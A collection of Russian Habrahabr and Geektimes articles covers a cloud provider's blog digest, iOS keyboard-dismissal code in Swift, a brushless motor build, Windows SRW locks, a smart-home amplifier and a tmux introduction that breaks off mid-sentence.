«Дайджест 1cloud»: 25 материалов о безопасности, работе программистов и опыте создания IaaS-провайдера
['iaas-провайдер', 'iaas-дайджест', '1cloud']
Нам кажется, что пришло время подвести итоги уходящего года и вспомнить, какие интересные темы мы поднимали за последнее время на Хабре (а также в нашем блоге на сайте). В первую очередь мы делимся...
Нам кажется, что пришло время подвести итоги уходящего года и вспомнить, какие интересные темы мы поднимали за последнее время на Хабре (а также в нашем блоге на сайте). В первую очередь мы делимся нашим опытом, стараемся быть ближе к клиентам, чтобы они могли получать информацию о новых услугах из первых рук. Но мы также следили за новостями в мире облачных сервисов и IT и писали об интересных направлениях, например, технологиях хранения и передачи информации, сертификатах безопасности, телевидении и многом другом. И советуем почитать наши статьи о работе программистов, где мы собираем интересные советы и принятые мировые практики. / Flickr / Blue Coat Photos / CC-BY Безопасность Как обезопасить Linux-систему: 10 советов Все что вы хотели знать о безопасности на Linux, но боялись спросить: как настроить среду предзагрузки и автоматические обновления безопасности, ограничить доступ к внешним системам и настроить права доступа для пользователей и другие практические советы. SSL SSL-ю рознь: какой сертификат выбрать? В статье подробно разбираем виды сертификатов по методу проверки и по сертифицируемым доменам. А также рассказываем о стоимости покрытия, центрах сертификации и о том, где купить сам сертификат. ОК, Google! Зачем переходить на HTTPS в 2017 году? Все современные браузеры информируют пользователей о статусе соединения. Однако далеко не все обращают на это внимание. На что готовы пойти в Google, чтобы уберечь пользователей от небезопасных соединений и как переходить на HTTPS. «Зелёные замочки» в разных браузерах Еще немного о HTTPS и о том, как разные браузеры сообщают пользователям о типе используемого соединения. А также о видах и причинах ошибок и их визуальном отображении в разных браузерах. Немного о VPN: Краткий обзор программных реализаций Проанализируем, какие решения для создания виртуальных частных сетей лучше выбирать, и рассмотрим плюсы и минусы каждого из них в зависимости от выполняемых задач. Есть такая профессия — программист Какой может быть работа ИТ-специалиста будущего Рассмотрим альтернативные варианты развития ИТ-индустрии и узнаем, нужны ли будут программисты или кодить сможет любой человек, какие направления и специализации будут появляться и развиваться, а также общие тренды внутри индустрии. «Руководи мной лучше»: Что сделает работу начинающего программиста эффективнее Как упростить свою работу и повысить ее эффективность, можно ли сделать рутину интереснее и почему программистам нужно есть помидоры. Кроме того, поговорим о работе с чужим кодом, комментировании и автоматизации процессов. Навыки опытного программиста: Самые популярные советы начинающим В статье подробно анализируем мнение специалистов о том, чего не следует делать начинающим программистам, какое направление лучше выбрать для развития, как важно адекватно оценивать свои возможности, зачем нужна предварительная работа и что она из себя представляет. Кто ты по профессии: Разница между «Programmer», «Software Engineer» и «Computer Scientist» Выясняем, кто есть кто с помощью небольшого исследования. Мы проверили, какие определения этим профессиям дают словари, как их понимают технические специалисты, какие программы предлагают ВУЗы и что требуют работодатели. / С оборудованием, которое мы используем, вы сможете ознакомиться на нашем сайте Опыт облачного провайдера Мифы об облачных технологиях. Часть 1: О техподдержке и сервисах Что на самом деле представляет собой техническая поддержка в облачном провайдере, насколько сложно клиентам управлять виртуальной инфраструктурой и нужен ли отдельный специалист в штате клиента для взаимодействия с инфраструктурой. Мифы об облачных технологиях. Часть 2: Поговорим о качестве сервисов В этой части мы решили развеять мифы о том, что облака нельзя использовать для бизнес-критичных приложений, что российских хостеров не существует и поговорить о том, насколько безопасно хранить данные в облаке. Мифы об облачных технологиях. Часть 3: Говорим о железе В заключении серии постов о мифах мы решили подробнее рассказать об оборудовании и о технологиях, используемых в дата-центрах, о том, где на самом деле находится наше оборудование и что оно из себя представляет, и какой уровень доступности оборудования может на самом деле обеспечить хостер. Что нужно знать об IaaS-провайдере до начала работы Отвечаем на распространенные вопросы о нашей деятельности, объясняем специфику нашей работы и преимущества выбора именно нашей компании. Немного о безопасности в «облаке»: Опыт IaaS-провайдера «1cloud» Подробнее о том, как мы заботимся о безопасности наших клиентов, как обеспечиваем сохранность и доступность данных и как устроены наши дата-центры. Личный опыт: Как мы автоматизировали работу с DNS-записями в хостинг-панели О создании зон с записями различного типа, реализации автоматической миграции записей, а также об управлении записями при помощи API- интерфейса. Мы гордимся, что можем качественно делать бесплатные услуги. Как выбрать направление для развития ИТ-проекта Статья о том, почему мы решили создать частные сети и API-интерфейс, как улучшили свои сильные стороны и как облегчили работу с сервисом для неспециалистов. Развитие технологий «Быстрее, выше, сильнее»: Новые технологии дата-центов Как система дальней связи повышает эффективность существующих территориально распределенных дата-центров, удаленный прямой доступ к памяти решает проблему передачи данных между компьютерами, а новая система хранения и передачи данных существенно улучшает производительность компьютеров. «Везде как дома»: Какие технологии использует сервис Airbnb Как сервису, функционирующему во всем мире, удается работать без ошибок, проводить транзакции в любой валюте, выявлять мошенничество и знакомить пользователей с новыми географическими локациями. А также подробнее об алгоритмах ценообразования и предсказания спроса. «Будущее телетрансляций»: Облачное телевидение и не только Почему телевидение до сих пор живо, какие изменения происходят в индустрии сегодня и как будет выглядеть система телевещания в будущем. Ответы на эти и другие вопросы ищите в статье. Как сейчас используют нейросети: от научных проектов до развлекательных сервисов Что общего у вселенной и нейронных сетей и как это используют ученые, как нейронные сети позволяют обойти защиту изображений при определении личности по изображениям и как устроена новая система рекомендаций на YouTube. «Пятничный формат»: Что случится, когда закон Мура перестанет действовать Разберемся, почему у закона Мура есть разные формулировки, а эксперты фиксируют разное время смерти закона, могут ли транзисторы продолжать уменьшаться, и какие возможные направления могут появиться в индустрии. / Wikimedia / Abstruse Goose / CC Сложно быть программистом Пятничный формат: «Нельзя просто так взять и объяснить непрограммисту…» По работе программистам часто приходится взаимодействовать с далекими от компьютерных наук людьми. Мы решили разобраться, как лучше объяснять сложные концепты простым смертным или как к их пониманию можно подойти тем, кто еще только учится. Пятничный формат: Удачно выйти в отпуск или поработать еще немного Статья о том, как и сколько отдыхают программисты в разных западных и международных компаниях, почему отдых выходит из моды и является ли возможность спать на рабочем месте плюсом. А также о различных отпускных выплатах и других бонусах. Практическое пособие «Как вывести из себя программиста» Статья о том, как тяжело бывает общаться с человеком, ничего не понимающим в программировании, особенно если этот человек — ваш менеджер. Постараемся понять, как правильно реагировать на некоторые просьбы и можно ли объяснить менеджеру, в чем именно заключается работа программиста. Как выжить в условиях корпоративной культуры, если ты — программист-интроверт Разбираемся, как политика компании может усложнять жизнь программистам, какие личные качества могут помочь в работе и карьерном росте и почему комфорт рабочей обстановки часто зависит от менеджера или босса.
https://habrahabr.ru/company/1cloud/blog/318430/
habrahabr
Тап жест для скрытия клавиатуры в iOS (Swift 3)
['swift', 'ios', 'ios development', 'keyboard', 'tap gesture']
В данной статье разберем, как скрывать клавиатуру по нажатию на вьюху от самых основ до реализации в одну строчку или совсем без кода. Основы Достаточно часто встречается следующий кейс: по...
В данной статье разберем, как скрывать клавиатуру по нажатию на вьюху от самых основ до реализации в одну строчку или совсем без кода. Основы Достаточно часто встречается следующий кейс: по нажатию на задний фон скрывать клавиатуру. Базовое решение — имеем ссылку на UITextField , создаем UITapGestureRecognizer с методом, который снимает выделение с текстового поля и выглядит оно так: В данной статье используется Swift 3, но можно реализовать и на других версиях и на Objective-C class ViewController: UIViewController { @IBOutlet weak var textField: UITextField! override func viewDidLoad() { super.viewDidLoad() let tapGesture = UITapGestureRecognizer(target: self, action: #selector(self.tapGesture)) view.addGestureRecognizer(tapGesture) } func tapGesture() { textField.resignFirstResponder() } } Проблемы данного кода: viewDidLoad грязный и нечитабельный много кода в контроллере не переиспользуемый Делаем читабельным Для решения первой проблемы мы можем вынести код создания и добавления жеста в отдельную функцию: class ViewController: UIViewController { @IBOutlet weak var textField: UITextField! override func viewDidLoad() { super.viewDidLoad() addTapGestureToHideKeyboard() } func addTapGestureToHideKeyboard() { let tapGesture = UITapGestureRecognizer(target: self, action: #selector(self.tapGesture)) view.addGestureRecognizer(tapGesture) } func tapGesture() { textField.resignFirstResponder() } } Кода стало еще больше, но он стал чище, логичней и приятней глазу. Уменьшение кода Для решения второй проблемы у UIView есть метод: func endEditing(_ force: Bool) -> Bool Он как раз отвечает за снятие выделения с самой вьюхи или ее subview. Благодаря ему мы можем сильно упростить наш код: class ViewController: UIViewController { override func viewDidLoad() { super.viewDidLoad() addTapGestureToHideKeyboard() } func addTapGestureToHideKeyboard() { let tapGesture = UITapGestureRecognizer(target: view, action: #selector(view.endEditing)) view.addGestureRecognizer(tapGesture) } } Если делаете по шагам, то не забудьте удалить textField свойство из IB. Также поменяйте target с self на view . Код стал радовать глаз! Но копировать это в каждый контроллер все еще придется. Решение копирования Для переиспользуемости вынесем наш метод добавления в extension контроллера: extension UIViewController { func addTapGestureToHideKeyboard() { let tapGesture = UITapGestureRecognizer(target: view, action: #selector(view.endEditing)) view.addGestureRecognizer(tapGesture) } } И код нашего контроллера будет выглядеть следующим образом: class ViewController: UIViewController { override func viewDidLoad() { super.viewDidLoad() addTapGestureToHideKeyboard() } } Чисто, одна строчка кода, и она переиспользуема! Идеально! Несколько вьюх Решение выше — очень хорошее, но в нем кроется один минус: мы не можем добавить жест на конкретную вьюху. Для решения данного кейса воспользуемся расширением UIView : extension UIView { func addTapGestureToHideKeyboard() { let tapGesture = UITapGestureRecognizer(target: self, action: #selector(endEditing)) addGestureRecognizer(tapGesture) } } и соответственно код контроллера будет выглядеть так: class ViewController: UIViewController { override func viewDidLoad() { super.viewDidLoad() view.addTapGestureToHideKeyboard() } } Тут возникает другая проблема: данное расширение решает проблему только для вьюхи контроллера. Если мы добавить someView на view и на нее повесим жест, то не сработает. Это все из-за того, что метод endEditing работает только для вьюхи, которая содержит активную вьюху или сама таковой является, а нашего текстового поля скорее всего не будет в нем. Решим данную проблему. Т.к. view контроллера точно будет содержать активную вьюху, и наша добавленная вьюха всегда будет в ее иерархии, то мы можем дотянуться до view контроллера через superview и у нее вызвать endEditing . Получаем view контроллера через расширение UIView: var topSuperview: UIView? { var view = superview while view?.superview != nil { view = view!.superview } return view } Скажу сразу, изменив селектор на: #selector(topSuperview?.endEditing) работать все еще не будет. Нам необходимо добавить метод, который будет вызывать конструкцию выше: func dismissKeyboard() { topSuperview?.endEditing(true) } Вот теперь заменяем селектор на: #selector(dismissKeyboard) Итак, расширение для UIView будет выглядеть следующим образом: extension UIView { func addTapGestureToHideKeyboard() { let tapGesture = UITapGestureRecognizer(target: self, action: #selector(dismissKeyboard)) addGestureRecognizer(tapGesture) } var topSuperview: UIView? { var view = superview while view?.superview != nil { view = view!.superview } return view } func dismissKeyboard() { topSuperview?.endEditing(true) } } Теперь, используя addTapGestureToHideKeyboard() для любой вьюхи мы будем скрывать клавиатуру. KeyboardHideManager Решением выше я пользовался долгое время, но потом стал замечать, что даже одна строка загрязняет функцию установки вьюх. Так же, (редко, но все же бывает) не очень красиво выглядит, когда это единственный метод во viewDidLoad : override func viewDidLoad() { super.viewDidLoad() addTapGestureToHideKeyboard() } Вместе с пробелом это занимает 5 строк, что сильно сказывается на чистоте контроллера! У меня появилась идея сделать все это без кода, чтобы не было в контроллере и одной лишней строчки. Я создал класс, который можно добавить в IB с помощью Object И с помощью @IBOutlet привязать нужные нам вьюхи: Реализация данного класса наипростейшая — добавляем жест на каждую вьюху с помощью выше созданных функций: final public class KeyboardHideManager: NSObject { @IBOutlet internal var targets: [UIView]! { didSet { for target in targets { addGesture(to: target) } } } internal func addGesture(to target: UIView) { let gesture = UITapGestureRecognizer(target: self, action: #selector(dismissKeyboard)) target.addGestureRecognizer(gesture) } @objc internal func dismissKeyboard() { targets.first?.topSuperview?.endEditing(true) } } extension UIView { internal var topSuperview: UIView? { var view = superview while view?.superview != nil { view = view!.superview } return view } } Чтобы воспользоваться данным классом, нужно три простых действия: 1) Перетащить Object в контроллер 2) Установить KeyboardHideManager в качестве класса данного объекта 3) Соединить нужные вьюхи со свойством targets Да, больше действий, чем написать одну строку (или несколько строк, если несколько определенных вьюх), за то этой самой строки нету в контроллере. Кто-то может сказать, что лучше написать строку в коде, так понятнее, и будут правы, с одной стороны. Я за то, чтобы вынести из контроллера, все что можно и тем самым его облегчить. Данный класс можете подключить через CocoaPods или просто скопировать в проект. Ссылка на исходный код KeyboardHideManager с полным ReadMe о самой библиотеке и ее подключении. Итог Разобрали реализацию популярного кейса, рассмотрели несколько его решений, в одну строку и без кода вообще. Используйте тот способ, который больше нравится.
https://habrahabr.ru/post/318434/
habrahabr
Создание и тестирование бесколлекторного мотора
['BLDC', 'электродвигатель', 'мотор', 'RC', 'диностенд']
В этой статье мы хотели бы рассказать о том, как мы с нуля создали электрический мотор: от появления идеи и первого прототипа до полноценного мотора, прошедшего все испытания. Если данная статья...
В этой статье мы хотели бы рассказать о том, как мы с нуля создали электрический мотор: от появления идеи и первого прототипа до полноценного мотора, прошедшего все испытания. Если данная статья покажется вам интересной, мы отдельно, более подробно, расскажем о наиболее заинтересовавших вас этапах нашей работы. На картинке слева направо: ротор, статор, частичная сборка мотора, мотор в сборе Вступление Электрические моторы появились более 150 лет назад, однако за это время их конструкция не претерпела особых изменений: вращающийся ротор, медные обмотки статора, подшипники. С годами происходило лишь снижение веса электромоторов, увеличение КПД, а также точности управления скоростью. Сегодня, благодаря развитию современной электроники и появлению мощных магнитов на основе редкоземельных металлов, удаётся создавать как никогда мощные и в то же время компактные и легкие “ Бесколлекторные ” электромоторы. При этом, благодаря простоте своей конструкции они являются наиболее надежными среди когда-либо созданных электродвигателей. Про создание такого мотора и пойдет речь в данной статье. Описание мотора В “Бесколлекторных моторах” отсутствует знакомый всем по разборке электроинструмента элемент “Щетки”, роль которых заключается в передаче тока на обмотку вращающегося ротора. В бесколлекторных двигателях ток подается на обмотки не-двигающегося статора, который, создавая магнитное поле поочередно на отдельных своих полюсах, раскручивает ротор, на котором закреплены магниты. Первый такой мотор был напечатан нами 3D принтере как эксперимент. Вместо специальных пластин из электротехнической стали, для корпуса ротора и сердечника статора, на который наматывалась медная катушка, мы использовали обычный пластик. На роторе были закреплены неодимовые магниты прямоугольного сечения. Естественно такой мотор был не способен выдать максимальную мощность. Однако этого хватило, что бы мотор раскрутился до 20к rpm, после чего пластик не выдержал и ротор мотора разорвало, а магниты раскидало вокруг. Данный эксперимент сподвиг нас на создание полноценного мотора. Несколько первых прототипов Узнав мнение любителей радиоуправляемых моделей, в качестве задачи, мы выбрали мотор для гоночных машинок типоразмера “540”, как наиболее востребованного. Данный мотор имеет габариты 54мм в длину и 36мм в диаметре. Ротор нового мотора мы сделали из единого неодимового магнита в форме цилиндра. Магнит эпоксидкой приклеили на вал выточенный из инструментальной стали на опытном производстве. Статор мы вырезали лазером из набора пластин трансформаторной стали толщиной 0.5мм. Каждая пластина затем была тщательно покрыта лаком и затем из примерно 50 пластин склеивался готовый статор. Лаком пластины покрывались чтобы избежать замыкания между ними и исключить потери энергии на токах Фуко, которые могли бы возникнуть в статоре. Корпус мотора был выполнен из двух алюминиевых частей в форме контейнера. Статор плотно входит в алюминиевый корпус и хорошо прилегает к стенкам. Такая конструкция обеспечивает хорошее охлаждение мотора. Измерение характеристик Для достижения максимальных характеристик своих разработок, необходимо проводить адекватную оценку и точное измерение характеристик. Для этого нами был спроектирован и собран специальный диностенд. Основным элементом стенда является тяжёлый груз в виде шайбы. Во время измерений, мотор раскручивает данный груз и по угловой скорости и ускорению рассчитываются выходная мощность и момент мотора. Для измерения скорости вращения груза используется пара магнитов на валу и магнитный цифровой датчик A3144 на основе эффекта холла. Конечно, можно было бы измерять обороты по импульсам непосредственно с обмоток мотора, поскольку данный мотор является синхронным. Однако вариант с датчиком является более надёжным и он будет работать даже на очень малых оборотах, на которых импульсы будут нечитаемы. Кроме оборотов наш стенд способен измерять ещё несколько важных параметров: ток питания (до 30А) с помощью датчика тока на основе эффекта холла ACS712; напряжение питания. Измеряется непосредственно через АЦП микроконтроллера, через делитель напряжения; температуру внутри/снаружи мотора. Температура измеряется посредством полупроводникового термосопротивления; Для сбора всех параметров с датчиков и передачи их на компьютер используется микроконтроллер серии AVR mega на плате Arduino nano. Общение микроконтроллера с компьютером осуществляется посредством COM порта. Для обработки показаний была написана специальная программа записывающая, усредняющая и демонстрирующая результаты измерений. В результате наш стенд способен измерять в произвольный момент времени следующие характеристики мотора: потребляемый ток; потребляемое напряжение; потребляемая мощность; выходная мощность; обороты вала; момент на валу; КПД; мощность уходящая в тепло; температура внутри мотора. Видео демонстрирующее работу стенда: Результаты тестирования Для проверки работоспособности стенда мы сначала испытали его на обычном коллекторном моторе R540-6022. Параметров для этого мотора известно достаточно мало, однако этого хватило, чтобы оценить результаты измерения, которые получились достаточно близкими к заводским. Затем уже был испытан наш мотор. Естественно он смог показать лучшее КПД(65% против 45%) и при этом больший момент(1200 против 250 г на см), чем обычный мотор. Измерение температуры тоже дало достаточно хорошие результаты, во время тестирования мотор не нагревался выше 80 градусов. Но на данный момент измерения пока не окончательны. Нам не удалось измерить мотор в полном диапазоне оборотов из-за ограничения мощности источника питания. Также предстоит сравнить наш мотор с аналогичными моторами конкурентов и испытать его “в бою”, поставив на гоночную радиоуправляемую машину и выступить на соревнованиях.
https://geektimes.ru/post/284070/
habrahabr
Предпочитайте SRW-блокировки критическим секциям
['блокировки']
Эта статья объясняет почему при разработке Win32-приложений механизм Slim Reader/Writer Lock (SRWL) часто более предпочтителен, чем классические критические секции. Легковесность SRWL-объект...
Эта статья объясняет почему при разработке Win32-приложений механизм Slim Reader/Writer Lock (SRWL) часто более предпочтителен, чем классические критические секции . Легковесность SRWL-объект занимает в памяти всего 8 байт на x64-архитектуре, в то время как критическая секция — 40 байт. Критическая секция требует инициализации и деинициализации через вызовы функций ядра ОС, в то время как SRWL инициализируется простым присваиванием ему константы SRWLOCK_INIT, а затрат на удаление нет вообще никаких. Использование SRWL генерирует более компактный код и использует меньше оперативной памяти при работе. Если у вас будет 100 000 объектов, требующих некоторой внутренней синхронизации, экономия памяти будет уже существенной. Прирост производительности от избегания лишних промахов кэша будет ещё более ощутимым. В современных процессорах (начиная с Intel Nehalem , вышедшего в 2008-ом) одна кэш-линия занимает 64 байта. Если вы используете на объект синхронизации 40 из них — это существенно ударит по производительности доступа к небольшим объектам в вашем ПО. Скорость Прежде всего, имейте в виду, что реализация SRWL в ядре ОС была существенно переработана за предыдущие несколько лет. Если вы читаете в Интернете какой-то бенчмарк, касающийся измерения скорости работы различных примитивов синхронизации в ОС Windows — обращайте внимание на дату написания. И критическая секция и SRWL некоторое время крутятся в цикле в пользовательском режиме, а уже потом переходят в режим ожидания в ядре. Только критическая секция позволяет настраивать время ожидания в пользовательском режиме. Я не исследовал детали реализации глубже. Также я никогда не пытался провести правильный бенчмарк, чтобы полностью корректно сравнить скорости критических секций и SRWL. Построить одновременно теоретически обоснованный и практически полезный бенчмарк очень сложно. Но я заменял критические секции на SRWL в своих приложениях около 20 раз в различных сценариях. SRWL всегда был быстрее (или по меньшей мере не медленнее) и часто давал видимый прирост производительности. Я не буду приводить здесь конкретные числа. Количество работы при захвате блокировки, гранулярность блокировок, уровень параллелизма, соотношение количества чтений и записи, использование кэша, загруженность процессора и другие факторы имеют слишком большое влияние на конечный результат. Я не буду утверждать, что SRWL абсолютно всегда быстрее критических секций. В каждом отдельном случае необходимо профилирование для выяснения всей картины. Отсутствие реентерабельности у SRWL Это не баг, а фича. Если у нас нет реентерабельности блокировок — это сразу ведёт к более прозрачным публичным контрактам, требует взвешенности при принятии решений о захвате и освобождении блокировки, что в итоге позволяет избегать дедлоков. Ну, по крайней мере пока вы не делаете глупых вещей, вроде вызова колбеков внутри захваченной блокировки. Реентерабельные блокировки, конечно, тоже бывают полезны. Например, когда вы пытаетесь добавить параллельность к некоторому старому коду и не хотите слишком глубоко влезать в его рефакторинг. Оригинальный мьютекс из стандарта POSIX был создан реентерабельным случайно . Можно лишь представить, скольких проблем, связанных с параллельным кодом и блокировками, можно было бы счастливо избежать, если бы реентерабельные примитивы синхронизации не стали мейнстримом. Поток, который попробует дважды захватить для записи один и тот же SRWL сам себя поймает в дедлок. Такой тип ошибки легко выявить и исправить прямо в момент первого появления. Просто посмотрите на колстек — там будет вся необходимая информация. Никакого там влияния таймингов и параллельных потоков. Рекурсивная блокировка на чтение раньше тоже вызывала дедлоки, ну по крайней мере я уверен в этом где-то на 90% :). Если я не ошибаюсь, Microsoft тихонько изменила поведение то ли в каком-то обновлении, то ли при переходе от Win8 к Win10 и теперь дедлока нет. К сожалению, это усложнило поиск ошибок, связанных с реентерабельностью. Ошибочно вложенные блокировки на чтение приводят к неприятным багам в случаях когда внутрення блокировка освобождается слишком рано. Возможно даже хуже, внешняя блокировка может освободить блокировку, захваченную другим читателем. Аннотации Microsoft SAL для блокировок теоретически могут помочь обнаружить данный тип проблем на этапе компиляции, но я лично никогда не пробовал их на практике. Параллельное чтение Параллельное чтение на практике случается достаточно часто. Критическая секция никак не поддерживает параллелизм в данном случае. Проблемы производительности записи Обратной стороной преимущества параллельного чтения является тот факт, что блокировка на запись не сможет быть получена, пока не будут освобождены все блокировки на чтение. Более того, SRWL не гарантирует запросу блокировки на запись вообще никаких преференций или даже справедливости в порядке выдачи права на блокировку (новые блокировки на чтение могут быть успешно захвачены в то время, как блокировка на запись будет продолжать находиться в состоянии ожидания). Критические секции в этом плане с одной стороны ничем не лучше (приоритеты для захвата на чтение или на запись там выставлять также нельзя), но с другой стороны из-за отсутствия возможности параллельных захватов на чтение проблема будет возникать реже. Планировщик задач Windows обеспечивает некоторую справедливость в плане предоставления ресурсов всем потокам. Это помогает во время блокировки некоторого ресурса в одном потоке завершить цикл ожидания в пользовательском режиме во всех остальных потоках. Но, поскольку алгоритм работы планировщика не является частью какого-либо публичного контракта, не стоит писать какой-либо код в расчёте на его текущую реализацию. Если важна непрерывность прогресса при записи, то ни критическая секция ни SRWL не подходят в качестве механизма синхронизации. Другие конструкции, такие как очередь типа «читатель-писатель» может быть более предпочтительным механизмом. Конкуренция на этапе выполнения concurrency::reader_writer_lock даёт более строгие гарантии приоритетов, чем SRWL и спроектирован специально для работы в условиях частых захватов. Это имеет свою цену. По моему опыту данный примитив синхронизации существенно медленнее критических секций и SRWL, а также занимает больше места в памяти (72 байта). Лично я считаю слишком уж избыточным выполнять отдельные задачи (jobs) лишь для попытки захвата блокировки, но, наверное, кому-то это подойдёт. Ошибочное попадание в кэш Ошибочное попадание в кэш значительно более вероятно для SRWL, чем для критических секций — снова таки в силу разницы в размере (8 байт против 40). Если критическая секция попадает в кэш, то её 40 байт занимают большую часть 64-байт кэш-линии, что исключает возможность попадания в неё же другой критической секции. Если вы создаёте массив блокировок — постарайтесь учитывать размер кэш-линии вашей платформы. На этом, однако, не стоит концентрироваться раньше времени. Даже SRWL редко попадают в одну кэш-линию. Это случается лишь когда очень большое число потоков одновременно модифицируют некоторое относительно небольшое число объектов. Если у вас есть, например, несколько тысяч небольших объектов, то вряд ли стоит из-за вероятностью ошибочного попадания блокировки в кэш существенно менять их размер — игра, как правило, не стоит свеч. Точно, конечно же, можно утверждать лишь после профилирования каждой отдельно взятой ситуации. Баг в ядре ОС Я должен упомянуть баг в ядре ОС Windows, который вынудил меня слегка потерять веру в SRWL да и вообще в Windows. Несколько лет назад мы с коллегами начали замечать странные баги, когда некоторые потоки иногда не могли захватить те или иные SRWL. Это случалось в основном на двухядерных процессорах, но иногда, очень редко, и на одноядерных тоже. Отладка показала что в момент попытки захвата ни один другой поток не удерживал данную блокировку. Что ещё более удивительно, мгновением позже в том же потоке попытка захвата той же блокировки уже была успешной. После длительного исследования мне удалось уменьшить время воспроизведения данного бага с нескольких дней до получаса. В конце концов я доказал, что это проблема в ядре ОС, которая также касается IOCP. От момента обнаружения бага до выхода хотфикса прошло 8 месяцев и, конечно, ещё какое-то время заняло распространение обновления на пользовательские ПК. Выводы Большинство блокировок защищают информацию в некоторых объектах от случайного одновременного доступа из различных потоков. Здесь ключевое слово — «случайного», поскольку требование именно одновременного доступа редко бывает преднамеренно запрограммированным. И критическая секция и SRWL имеют хорошую производительность при захвате и освобождении свободной в данный момент блокировки. В этом случае на первый план выходит общий размер защищаемого объекта. Если объект достаточно мал, чтобы вместе с блокировкой попасть в одну кэш-линию — это сразу даёт прирост производительности. На 32 байта меньший размер SRWL является главной причиной использовать его для этих целей. Для сценариев кода, когда блокировка в большинстве случаев на момент попытки захвата уже будет занята, делать таких однозначных выводов нельзя. Здесь требуется измерения каждой сделанной оптимизации. Но в этом случае сама по себе скорость захвата и освобождения блокировки вряд ли будет узким местом в коде. Во главу угла встанет уменьшение времени работы кода внутри блокировки. Всё, что может быть сделано до или после блокировки — должно быть сделано именно там. Рассмотрите возможность использования нескольких отдельных блокировок вместо одной. Попробуйте дёрнуть необходимые данные перед вызовом блокировки (это даёт шанс на то, что код внутри блокировки отработает быстрее, поскольку получит их из кеша). Не выделяйте память в глобальной куче внутри блокировки (попробуйте использовать какой-нибудь аллокатор с предварительным выделением памяти). И так далее. Ну и наконец, нереентерабельные блокировки значительно легче читаются в коде. Реентерабельные блокировки — это своего рода «goto параллелизма», поскольку они усложняют понимание текущего состояния блокировки и причин появления дедлоков.
https://habrahabr.ru/company/infopulse/blog/318396/
habrahabr
Зонный усилитель для оповещений в умном доме
['умный дом', 'усилитель звуковой частоты', 'зонный усилитель', 'PAM8610', 'diy', 'mqtt']
На этапе построения системы «умный дом» появилось желание организовать голосовое оповещение на некоторые события. После непродолжительной «гуглешки» я не нашел ничего подходящего по функционалу и...
На этапе построения системы «умный дом» появилось желание организовать голосовое оповещение на некоторые события. После непродолжительной «гуглешки» я не нашел ничего подходящего по функционалу и цене, и решил сделать в очередной раз свое устройство. На этот раз это будет зонный усилитель для оповещалки. Внешний вид готового усилителя При проектировании усилителя предполагалась следующая логика работы усилителя: — Звук только в тех помещениях в которых в данный момент времени находятся люди. — Возможность подстроить уровень громкости для каждой комнаты независимо от остальных и желательно через веб интерфейс, а не регулировкой подстроечного или переменного резистора. — На время молчания, усилители необходимо переводить в режим Mute чтобы избежать лишних шумов от акустики. — Форм фактор для установки в слаботочный шкаф с креплением на DIN рейку. В результате поисков, чтения даташитов и сравнения существующих микросхем усилителей низкой частоты (УНЧ), был выбран усилитель на микросхеме PAM8610. Данная микросхема представляет из себя стерео усилитель D класса, что подразумевает высокий КПД, а это меньший нагрев и низкое потребление в сравнении с другими классами усилителей. Характеристики микросхемы PAM8610: Мощность: 2 х 10 Вт Напряжение питания min, (В): 7.0 Напряжение питания max, (В): 13.5 КПД: более 90% (не требует радиаторов охлаждения) Еще одним существенным плюсом была цена, так как предполагалось 5 стерео зон усиления. Стоимость готового модуля усилителя на али порядка 1$. Если покупать только микросхемы то выходит дороже. Я покупал готовые платы, снимал с них микросхемы, частично обвеску (резисторы, конденсаторы) и запаивал их на свои платы. Вот такие модули я покупал для разборки. Усилитель собран по следующей схеме: 3D модели печатных плат Мозгом усилителя является микроконтроллер ATmega328 с «ардуиновским» бутлоадером. Код написан в среде Arduino. Управление усилителем организовано через Ethernet по протоколу MQTT. Ethernet собран на микросхеме W5100. Платы для усилителя заказывал в Китае. Это был первый опыт заказа плат в Китае, изготовление и доставка заняли около месяца. Качеством я вполне доволен практически не отличается от изготовленных в России, единственный момент это защитная маска, мне она показалась не такой прочной как на платах из России. но на этот незначительный и ни на что не влияющий недостаток можно вообще не обращать внимания. Плата основания усилителя. Плата с установленными усилителями Еще пара фоток с разных ракурсов Немного про функции усилителя. Усилитель имеет один аудио вход, который через конденсаторы распараллеливается на 5 усилителей. Линия Shutdown всех усилителей объединена в одну цепь и служит для отключения всех усилителей, например при включении сценария никого нет дома. Вход Mute служит для включения и отключения звука каждого усилителя независимо. Регулировка громкости каждого усилителя имеет 32 ступени регулировки (от -75дБ до +33дБ) служит для настройки одинакового уровня громкости в разных зонах с сохранением значений в энергонезависимую память микроконтроллера. Имеется еще общий для всех усилителей вход Fade, плавное нарастание звука при отключении режима Shutdown. За логику оповещения и определения зон включения усилителя отвечает серверная часть работающая на базе IoBroker . Определение присутствия людей в помещении организовано на датчиках движения. По качеству звука микросхема PAM8610 конечно не очень, есть небольшой высокочастотный фон скорее всего от встроенного ШИМ. В режиме Mute шум полностью отсутствует. Микросхема привлекает низкой ценой, выходной мощностью, малым потреблением и малой рассеиваемой мощностью. Усилитель работает несколько месяцев и вполне устраивает, для «оповещалки» больше и не нужно. Если потребуется повысить качество звука, то можно будет не меняя основной платы поставить на нее платы усилителей на более качественной микросхеме. » Первая часть — Умный дом, начало. » Часть вторая — Счетчик посетителей ванной комнаты » Часть третья — Управление кондиционером Haier на базе ESP8266
https://geektimes.ru/post/280560/
habrahabr
Консоль в массы. Переход на светлую сторону. Часть вторая
['bash', 'screen', 'tmux', 'wsd', 'front-end разработка', 'terminal']
Вступление Довольно долгое время я использовал в своей работе screen. Но со временем он меня перестал устраивать. Я начал искать альтернативы. Такой альтернативой является tmux. На многих...
Вступление Довольно долгое время я использовал в своей работе screen. Но со временем он меня перестал устраивать. Я начал искать альтернативы. Такой альтернативой является tmux. На многих порталах его описывают так: «Это тот-же screen, только на стероидах». Сначала я не мог понять почему такое сравнение пока не попробовал. Скажу честно, я на него не с первого раза перешел. Раза три-четыре пробовал, возвращался к screen’у. Но tmux все же победил. Важный момент. К предыдущей статье я получил немало комментариев с альтернативами screen и tmux. Тут, как говорится, на вкус и цвет карандаши разные. Второй момент, на который хотел обратить внимание, предполагается, что у читателя нет доступа к графической оболочке. Все что есть в его арсенале — терминал ( CLI ) и набор команд, которыми он может воспользоваться. Установка Ну что ж, перейдем к установке tmux. Достаточно выполнить первую команду, чтобы его установить. После этого можно будет его запустить, набрав команду tmux в терминале. Для более опытных пользователей есть возможность собрать tmux из репозитория или скачать архив себе на компьютер. Как это сделать, описано тут . Базовые сочетания клавиш Тут как и в случае со screen’ом, добавлю только ссылку . Дальше берем и начинаем использовать. Заучивать, запоминать не нужно. Единственный нюанс, комбинации клавиш отличаются, но это легко можно поправить через файл настроек. Настройки По умолчанию tmux, что называется, «с 